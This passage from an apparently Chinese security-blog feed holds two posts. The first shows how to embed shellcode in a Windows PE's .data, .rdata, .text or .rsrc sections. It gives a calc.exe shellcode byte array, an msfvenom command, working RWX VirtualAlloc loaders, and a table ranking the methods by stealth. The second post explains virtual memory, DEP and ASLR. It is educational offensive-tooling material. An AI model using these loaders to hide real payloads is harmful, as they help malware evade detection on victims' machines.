        &quot;\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52&quot;
        &quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a&quot;
        &quot;\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41&quot;
        &quot;\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52&quot;
        &quot;\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;
        &quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40&quot;
        &quot;\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48&quot;
        &quot;\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41&quot;
        &quot;\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1&quot;
        &quot;\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c&quot;
        &quot;\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;
        &quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a&quot;
        &quot;\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b&quot;
        &quot;\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00&quot;
        &quot;\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b&quot;
        &quot;\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd&quot;
        &quot;\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0&quot;
        &quot;\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff&quot;
        &quot;\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00&quot;;

int main() {
    void *exec_mem = VirtualAlloc(nullptr, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        return 1;
    }

    memcpy(exec_mem, buf, sizeof(buf));

    ((void (*)()) exec_mem)();

    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译后通过&lt;a href=&quot;https://pe.0xd00.com/&quot;&gt;我编写的PE分析工具&lt;/a&gt;查看：&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgDataHexView}
alt=&apos;pe analyzer online hex view .data&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;可以发现使用全局变量unsigned char保存shellcode，在编译后shellcode被保存到了.data段。&lt;/p&gt;
&lt;p&gt;这是因为PE文件的.data段是PE文件的可执行部分中包含&lt;strong&gt;已初始化全局变量和局部变量&lt;/strong&gt;的位置。此段可读写，适合在运行时动态解密加密的有效负载。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgDataSection}
alt=&apos;pe analyzer online .data section&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;.rdata段&lt;/h2&gt;
&lt;p&gt;简单修改上面的代码，添加一个&lt;code&gt;const&lt;/code&gt;修饰符。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;const unsigned char buf[] =&quot;...&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;const&lt;/code&gt;修饰符修饰的变量被认为是&lt;strong&gt;只读数据&lt;/strong&gt;，任何尝试对其修改的行为都会导致访问冲突&lt;code&gt;error: assignment of read-only variable &apos;buf&apos;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgRdataSection}
alt=&apos;pe analyzer online .rdata section&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;最终在编译后就会被保存到&lt;code&gt;rdata&lt;/code&gt;段，&lt;code&gt;rdata&lt;/code&gt;中的&lt;code&gt;r&lt;/code&gt;就是指&lt;code&gt;read-only&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgRdataHexView}
alt=&apos;pe analyzer online hex view .rdata&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;.text段&lt;/h2&gt;
&lt;p&gt;需要使用下面的方式告诉&lt;strong&gt;MSVC&lt;/strong&gt;编译器将此变量放置在&lt;code&gt;.text&lt;/code&gt;段中。&lt;code&gt;.text&lt;/code&gt;段默认具有可执行权限。因此在此段中的变量&lt;strong&gt;无需编辑内存区域权限&lt;/strong&gt;，直接就可以运行。这对于小于 10 个字节的小型负载很有用，例如[上篇文章中的&lt;code&gt;0xC3&lt;/code&gt;](&lt;a href=&quot;https://blog.0xd00.com/blog/windows-virtualalloc-dep-aslr#%E5%86%85%E5%AD%98%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6%E5%8A%9F%E8%83%BD&quot;&gt;Windows内存管理基础：VirtualAlloc、DEP 与 ASLR • 0xd00&apos;s blog&lt;/a&gt;)。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#pragma section(&quot;.text&quot;)
__declspec(allocate(&quot;.text&quot;)) const unsigned char buf[] =&quot;...&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgTextSection}
alt=&apos;pe analyzer online .text section&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgTextHexView}
alt=&apos;pe analyzer online hex view .text&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;.rsrc段&lt;/h2&gt;
&lt;p&gt;从&lt;code&gt;.rsrc&lt;/code&gt;段读取&lt;code&gt;shellcode&lt;/code&gt;的方式可能会更加繁琐一些。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o icon.ico&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Resource Files -&gt; 添加 -&gt;新建项&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;资源 -&gt; 资源文件(&lt;code&gt;.rc&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;资源视图-&gt;&lt;code&gt;Resource.rc&lt;/code&gt;右键-&gt;添加资源&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Accelerator-&gt;导入-&gt;选择生成的&lt;code&gt;.ico&lt;/code&gt;文件-&gt;资源类型&lt;code&gt;RCDATA&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;编译后，有效负载将存储在 &lt;code&gt;.rsrc&lt;/code&gt; 节中，但无法直接访问。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;想要访问&lt;code&gt;.rsrc&lt;/code&gt;段中的数据需要通过几个&lt;code&gt;WINAPI&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-findresourcew&quot;&gt;&lt;strong&gt;FindResourceW&lt;/strong&gt;&lt;/a&gt;:根据ID和类型在&lt;code&gt;.rsrc&lt;/code&gt;节中找到资源信息。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource&quot;&gt;&lt;strong&gt;LoadResource&lt;/strong&gt;&lt;/a&gt;:将资源数据加载到内存中，返回一个全局内存句柄。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-lockresource&quot;&gt;&lt;strong&gt;LockResource&lt;/strong&gt;&lt;/a&gt;:锁定资源，并返回一个指向其实际内存地址的指针。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-sizeofresource&quot;&gt;&lt;strong&gt;SizeofResource&lt;/strong&gt;&lt;/a&gt;:获取资源的大小。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;#x3C;Windows.h&gt;
#include &amp;#x3C;stdio.h&gt;
#include &quot;resource.h&quot;

int main() {

    // --- 变量定义 ---
    HRSRC  hRsrc = NULL; // 用于接收资源信息的句柄
    HGLOBAL hGlobal = NULL; // 用于接收已加载资源的全局内存句柄
    PVOID   pPayloadAddress = NULL; // 指向载荷在内存中实际地址的指针
    SIZE_T  sPayloadSize = 0;    // 载荷的大小（字节）

    // --- 步骤 1: 定位资源 ---
    // 在当前模块(NULL)的资源节中，查找由 resource.h 中定义的 ID (IDR_RCDATA1)
    // 和预定义类型 (RT_RCDATA) 标识的资源。
    // RCDATA 代表&quot;原始数据&quot;，是存储任意二进制数据的标准方式。
    hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
    if (hRsrc == NULL) {
        printf(&quot;[!] FindResourceW 失败, 错误码: %d\n&quot;, GetLastError());
        return -1;
    }
    printf(&quot;[+] 资源定位成功, 句柄: %p\n&quot;, hRsrc);

    // --- 步骤 2: 加载资源 ---
    // 使用上一步获取的资源句柄，将资源数据加载到内存中。
    // 此函数返回的是一个全局内存对象的句柄，而不是一个直接可读的指针。
    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        printf(&quot;[!] LoadResource 失败, 错误码: %d\n&quot;, GetLastError());
        return -1;
    }
    printf(&quot;[+] 资源加载成功, 句柄: %p\n&quot;, hGlobal);

    // --- 步骤 3: 锁定资源并获取指针 ---
    // 将已加载的资源锁定在内存中，并返回一个指向其数据起始位置的直接指针。
    // 返回的指针是只读的。如果需要修改，应将其内容复制到另一块可写内存中。
    pPayloadAddress = LockResource(hGlobal);
    if (pPayloadAddress == NULL) {
        printf(&quot;[!] LockResource 失败, 错误码: %d\n&quot;, GetLastError());
        return -1;
    }

    // --- 步骤 4: 获取资源大小 ---
    // 获取资源的精确大小（以字节为单位）。这对于后续的内存复制或处理至关重要。
    sPayloadSize = SizeofResource(NULL, hRsrc);
    if (sPayloadSize == 0) { // SizeofResource 成功时返回非零值，失败返回0
        printf(&quot;[!] SizeofResource 失败, 错误码: %d\n&quot;, GetLastError());
        return -1;
    }

    // --- 步骤 5: 打印结果用于验证 ---
    // 显示获取到的载荷内存地址和大小，以确认前面的步骤都已成功执行。
    printf(&quot;\n[i] 载荷地址 (pPayloadAddress): 0x%p \n&quot;, pPayloadAddress);
    printf(&quot;[i] 载荷大小 (sPayloadSize): %zu 字节\n&quot;, sPayloadSize); // 使用 %zu 来打印 SIZE_T 类型，更标准
    void* exec_mem = VirtualAlloc(nullptr, sPayloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        return 1;
    }

    memcpy(exec_mem, pPayloadAddress,sPayloadSize);
    printf(&quot;[i] pTmpBuffer var : 0x%p \n&quot;, exec_mem);

    ((void (*)()) exec_mem)();

    VirtualFree(exec_mem, 0, MEM_RELEASE);
    printf(&quot;\n[#] 按下 &amp;#x3C;Enter&gt; 键退出...\n&quot;);
    getchar();1
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到&lt;code&gt;Shellcode&lt;/code&gt;被成功从资源段中提取并运行。
&amp;#x3C;Image
src={imgRunEffect}
alt=&apos;运行效果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;x64dbg&lt;/code&gt;中也能看到&lt;code&gt;.rsrc&lt;/code&gt;中的payload已被复制到了新分配的可执行区域中。
&amp;#x3C;Image
src={imgX64dbgView}
alt=&apos;通过x64dbg查看拷贝.text中的shellcode和.rsrc段中的原始shellcode&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgRsrcHexView}
alt=&apos;pe analyzer online hex view .rsrc&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;通过本次探索，我们掌握了四种在 PE 文件中存储 Shellcode 的核心技术。下表对它们进行了简要的对比：&lt;/p&gt;
&lt;p&gt;| 方法         | 目标段   | C++ 实现方式                   | 段权限     | 隐蔽性 | 优点与缺点                                              |
| :----------- | :------- | :----------------------------- | :--------- | :----- |:---------------------------------------------------|
| &lt;strong&gt;方法一&lt;/strong&gt;   | &lt;code&gt;.data&lt;/code&gt;  | 全局变量                       | &lt;code&gt;RW&lt;/code&gt;       | 低     | &lt;strong&gt;优点:&lt;/strong&gt; 简单直接。&lt;strong&gt;缺点:&lt;/strong&gt; 特征明显，易被检测。                |
| &lt;strong&gt;方法二&lt;/strong&gt;   | &lt;code&gt;.rdata&lt;/code&gt; | &lt;code&gt;const&lt;/code&gt; 全局变量               | &lt;code&gt;R&lt;/code&gt;        | 中     | &lt;strong&gt;优点:&lt;/strong&gt; 伪装成只读数据，更隐蔽。&lt;strong&gt;缺点:&lt;/strong&gt; 仍需内存拷贝。            |
| &lt;strong&gt;方法三&lt;/strong&gt;   | &lt;code&gt;.text&lt;/code&gt;  | &lt;code&gt;__declspec(allocate)&lt;/code&gt;         | &lt;code&gt;RX&lt;/code&gt;       | 高     | &lt;strong&gt;优点:&lt;/strong&gt; 与代码混合，无需 &lt;code&gt;VirtualAlloc&lt;/code&gt;。&lt;strong&gt;缺点:&lt;/strong&gt; 依赖编译器。 |
| &lt;strong&gt;方法四&lt;/strong&gt;   | &lt;code&gt;.rsrc&lt;/code&gt;  | 作为资源嵌入，API加载          | &lt;code&gt;R&lt;/code&gt;        | 极高   | &lt;strong&gt;优点:&lt;/strong&gt; 行为类似合法程序，极难发现。&lt;strong&gt;缺点:&lt;/strong&gt; 实现稍显复杂。          |&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250716172259827.drQSsiI7.png"/><enclosure url="/_astro/image-20250716172259827.drQSsiI7.png"/></item><item><title>从 VirtualAlloc 入手理解 DEP 与 ASLR 内存保护机制</title><link>https://blog.0xd00.com/blog/windows-virtualalloc-dep-aslr</link><guid isPermaLink="true">https://blog.0xd00.com/blog/windows-virtualalloc-dep-aslr</guid><description>掌握 Windows 内存利用与防御的关键。本文从虚拟内存和页表讲起，重点分析如何使用 VirtualAlloc/VirtualProtect 控制内存页的读、写、执行（RWX）权限，以及 DEP 和 ASLR 如何影响内存布局。</description><pubDate>Mon, 30 Jun 2025 10:33:31 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgVirtualMem from &apos;./assets/image-20250630162559715.png&apos;
import imgProcessMem from &apos;./assets/image-20250630162607100.png&apos;
import imgMemStates from &apos;./assets/image-20250630162614092.png&apos;
import imgMemTrans from &apos;./assets/image-20250630162620845.png&apos;
import imgAccessViolation from &apos;./assets/image-20250630142627043.png&apos;
import imgMemReserve from &apos;./assets/image-20250630130657698.png&apos;
import imgMemCommit from &apos;./assets/image-20250630131335824.png&apos;
import imgMemExec from &apos;./assets/image-20250630131503440.png&apos;&lt;/p&gt;
&lt;h2&gt;虚拟内存和物理内存&lt;/h2&gt;
&lt;p&gt;在多任务操作系统中，一个核心问题是如何管理有限的物理内存，以支持多个进程同时、安全地运行。Windows 采用虚拟内存机制来解决此问题。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;物理内存 (Physical Memory):&lt;/strong&gt; 指计算机中实际存在的RAM硬件。它是所有进程和操作系统内核共享的公共资源。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;虚拟内存 (Virtual Memory):&lt;/strong&gt; 是操作系统为每个进程创建的一个独立的、私有的地址空间。在32位系统上，这个空间大小为4GB；在64位系统上，理论大小为128TB。进程代码所操作的地址均为虚拟地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/virtual-address-spaces&quot;&gt;虚拟地址空间 - Windows drivers | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现代操作系统中的内存不会直接映射到物理内存中，进程使用虚拟内存地址，而虚拟内存通过页表映射到&lt;strong&gt;物理内存或磁盘&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;从虚拟地址到物理地址的转换由CPU的&lt;strong&gt;内存管理单元 (MMU)&lt;/strong&gt; 在硬件层面完成。每个进程都拥有自己的&lt;strong&gt;页表 (Page Table)&lt;/strong&gt;，该数据结构负责记录虚拟地址页与物理地址页之间的映射关系。MMU通过查询页表来完成地址翻译。&lt;/p&gt;
&lt;p&gt;我们可以通过一个简单的图书馆类比来理解这个过程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;虚拟地址&lt;/strong&gt; 就像一本书的&quot;索引号&quot;（如：CS-101）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;物理地址&lt;/strong&gt; 则是这本书在书架上的&quot;真实位置&quot;（如：三楼A区）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MMU和页表&lt;/strong&gt; 协同工作，扮演着&quot;图书管理员和索引卡&quot;的角色，负责将索引号翻译成真实位置。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgVirtualMem}
alt=&apos;虚拟内存和物理内存映射示意图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下图则是从技术层面展示了两个独立进程如何共享物理内存。得益于各自独立的页表，进程A的虚拟地址0x1000和进程B的虚拟地址0x1000可以映射到完全不同的物理地址，实现了隔离。同时，对于共享库（DLL），它们的虚拟地址可以被映射到同一块物理内存，从而节约了资源。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgProcessMem}
alt=&apos;进程内存映射示意图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;总体而言，虚拟内存机制带来了几大关键优势：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;进程隔离&lt;/strong&gt;： 每个进程的地址空间独立，一个进程的错误不会影响其他进程，保证了系统的稳定性与安全性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;简化的内存模型&lt;/strong&gt;： 开发者可以在一个连续、线性的地址空间上工作，无需关心物理内存的碎片化问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内存超售&lt;/strong&gt;： 虚拟内存允许将暂时不用的内存页从物理内存换出到硬盘上的页面文件（Pagefile.sys），从而支持运行超过物理内存总量的程序。这一过程对应用程序是透明的。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgMemStates}
alt=&apos;内存状态示意图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;内存的三种状态&lt;/h2&gt;
&lt;p&gt;Windows 对虚拟内存页的管理定义了三种状态，这为内存的高效使用提供了灵活性。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;空闲 (Free):&lt;/strong&gt; 表示该段虚拟地址空间未被使用，可用于分配。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保留 (Reserved):&lt;/strong&gt; 进程向系统申请保留一段连续的虚拟地址。此操作仅占用地址空间，不消耗物理内存或页面文件。这对于需要大块连续地址，但又不希望立即消耗物理资源的场景非常有用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提交 (Committed):&lt;/strong&gt; 为预定的地址空间分配物理存储（物理内存或页面文件）。只有提交后的内存才能被进程访问。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这三种状态的转换关系由 &lt;code&gt;VirtualAlloc&lt;/code&gt; 和 &lt;code&gt;VirtualFree&lt;/code&gt; 函数控制：&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgMemTrans}
alt=&apos;内存状态转换示意图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;内存的分配与保护&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;VirtualAlloc&lt;/code&gt; 是Windows提供的用户态底层虚拟内存分配API。与C/C++运行时库的malloc或Win32堆API的&lt;code&gt;HeapAlloc&lt;/code&gt;相比，&lt;code&gt;VirtualAlloc&lt;/code&gt;直接以页为单位操作虚拟地址空间，并提供了最关键的功能：&lt;strong&gt;指定内存页的保护属性（读、写、执行）&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;内存保护机制功能&lt;/h3&gt;
&lt;p&gt;现代操作系统通常内置了内存保护功能来阻止攻击。这些功能在构建或调试恶意软件时也需要考虑。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数据执行保护 (DEP)&lt;/strong&gt; - DEP 是从 Windows XP 和 Windows Server 2003 开始内置到操作系统中的系统级内存保护功能。如果页面保护选项设置为 PAGE_READONLY，DEP 将阻止代码在该内存区域中执行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;地址空间布局随机化 (ASLR)&lt;/strong&gt; - ASLR 是一种内存保护技术，用于防止利用内存损坏漏洞。ASLR 随机排列进程关键数据区域（包括可执行文件的基地址以及堆栈、堆和库的位置）的地址空间位置。我因为方便调试的原因，关闭了这个选项，这里不做演示。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;#x3C;windows.h&gt;
#include &amp;#x3C;stdio.h&gt;

int main() {
    // 准备一段shellcode，0xC3在x86/x64汇编中代表 `ret` 指令
    char shellcode[] = { 0xC3 };

    printf(&quot;Shellcode is located on the stack at address: %p\n&quot;, shellcode);
    printf(&quot;Attempting to execute code from the stack...\n&quot;);

    // 创建一个函数指针，指向栈上的shellcode
    void (*pFunc)() = (void(*)())shellcode;

    // 尝试调用！
    pFunc();

    // 如果你看到了这条消息，说明DEP没有生效
    printf(&quot;Execution successful. (This should not happen!)\n&quot;);

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过调试我们可以发现程序出现了&lt;strong&gt;Access Violation&lt;/strong&gt;异常，这就是因为CPU在硬件层面尝试从一个被标记为&quot;不可执行&quot;（NX, No-Execute）的内存页（我们的栈）读取并执行指令时，被强制阻止了。这样一来&lt;strong&gt;DEP就成功地阻止了一次最原始的栈溢出攻击。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgAccessViolation}
alt=&apos;访问违规异常示意图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;内存保护属性 (Memory Protection)&lt;/h3&gt;
&lt;p&gt;内存保护是操作系统提供的一种安全机制，用于限制特定内存区域的访问方式。通过为每个内存页设置保护属性，可以防止常见的编程错误和恶意攻击，例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;防止代码意外地修改只读数据。&lt;/li&gt;
&lt;li&gt;防止程序执行非代码区（如堆、栈）的数据，这是&lt;strong&gt;数据执行保护 (DEP)&lt;/strong&gt; 的核心原理。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;VirtualAlloc&lt;/code&gt; 和 &lt;code&gt;VirtualProtect&lt;/code&gt; 函数允许我们使用一系列常量来精确定义这些属性，其中&lt;code&gt;VirtualAlloc&lt;/code&gt;通常用于内存的分配以及状态变更，&lt;code&gt;VirtualProtect&lt;/code&gt;则被用来修改属性。以下是一些最常用的保护常量：&lt;/p&gt;
&lt;p&gt;| 常量                   | 描述                                           | 常见用途                                           |
| ---------------------- | ---------------------------------------------- | -------------------------------------------------- |
| PAGE_NOACCESS          | 禁止任何访问。访问此内存页将引发访问冲突异常。 | 保护区域、预定内存                                 |
| PAGE_READONLY          | 只读。                                         | 存放常量数据                                       |
| PAGE_READWRITE         | 可读可写。                                     | 存放常规变量、堆栈                                 |
| PAGE_EXECUTE           | 只执行。                                       | 不常见，用于高度安全的纯代码段                     |
| PAGE_EXECUTE_READ      | 可执行、可读。                                 | 存放代码段（.text section）                        |
| PAGE_EXECUTE_READWRITE | 可执行、可读、可写。                           | &lt;strong&gt;高风险权限&lt;/strong&gt;，常用于JIT编译器和&lt;strong&gt;Shellcode注入&lt;/strong&gt; |&lt;/p&gt;
&lt;h3&gt;调试器跟踪内存变化&lt;/h3&gt;
&lt;p&gt;实例代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c++&quot;&gt;#include &amp;#x3C;windows.h&gt;
#include &amp;#x3C;stdio.h&gt;

int main() {
    LPVOID memoryAddress = NULL;
    SIZE_T memorySize = 4096; // 分配一个页的大小 (4KB)

    printf(&quot;Press Enter to reserve memory...\n&quot;);
    getchar();

    // 步骤 1: 保留 (Reserve) 内存
    // 此时内存不可访问，状态为 MEM_RESERVE
    memoryAddress = VirtualAlloc(NULL, memorySize, MEM_RESERVE, PAGE_NOACCESS);
    if (memoryAddress == NULL) {
        printf(&quot;Failed to reserve memory. Error: %lu\n&quot;, GetLastError());
        return 1;
    }
    printf(&quot;Memory reserved at: 0x%p\n&quot;, memoryAddress);
    printf(&quot;--&gt; Check the memory map in your debugger now.\n&quot;);
    printf(&quot;Press Enter to commit memory...\n&quot;);
    getchar();

    // 步骤 2: 提交 (Commit) 内存
    // 将预定的内存提交，并赋予读写权限。状态变为 MEM_COMMIT，保护属性为 RW-
    // 在正常开发时我们一般直接将步骤1和2简化为VirtualAlloc(NULL, memorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
    if (VirtualAlloc(memoryAddress, memorySize, MEM_COMMIT, PAGE_READWRITE) == NULL) {
        printf(&quot;Failed to commit memory. Error: %lu\n&quot;, GetLastError());
        VirtualFree(memoryAddress, 0, MEM_RELEASE);
        return 1;
    }
    printf(&quot;Memory committed with READWRITE protection.\n&quot;);
